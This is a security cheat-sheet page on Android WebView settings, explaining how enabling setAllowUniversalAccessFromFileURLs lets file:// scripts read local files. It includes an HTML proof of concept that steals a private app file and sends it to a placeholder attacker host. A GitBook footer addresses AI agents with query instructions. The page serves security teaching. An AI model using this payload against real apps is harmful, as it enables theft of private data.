> For the complete documentation index, see [llms.txt](https://0xn3va.gitbook.io/cheat-sheets/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xn3va.gitbook.io/cheat-sheets/android-application/webview-vulnerabilities/web-settings.md).

# WebSettings Vulnerabilities

## WebSettings overview

[WebSettings](https://developer.android.com/reference/android/webkit/WebSettings) manages settings state for a WebView. When a WebView is first created, it obtains a set of default settings. A WebSettings object obtained from [WebView#getSettings()](https://developer.android.com/reference/android/webkit/WebView#getSettings%28%29) is tied to the life of the WebView.

## Security issues

### setAllowUniversalAccessFromFileURLs

[setAllowUniversalAccessFromFileURLs](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs%28boolean%29) sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from **any origin**. This includes access to content from other file scheme URLs or web contexts. The default value is `false` since Android 4.1.

{% hint style="info" %}
This method was deprecated in API level 30
{% endhint %}

Enabling this setting allows malicious scripts loaded in a `file://` context to launch cross-site scripting attacks, either accessing arbitrary local files including WebView cookies, app private data or even credentials used on arbitrary web sites.

For example, if an applciation allows you to open arbitrary links in a WebView you can pass a path to shared html file with the following content to steal a private file:

```html
<!-- file:///sdcard/index.html -->
<script>
    var url = 'file:///data/data/com.victim.app/internal_folder/private_file.txt';
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            fetch('https://attacker-website.com/?content=' + btoa(xhr.responseText));
        }
    }
    xhr.open('GET', url, true);
    xhr.send('');
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xn3va.gitbook.io/cheat-sheets/android-application/webview-vulnerabilities/web-settings.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
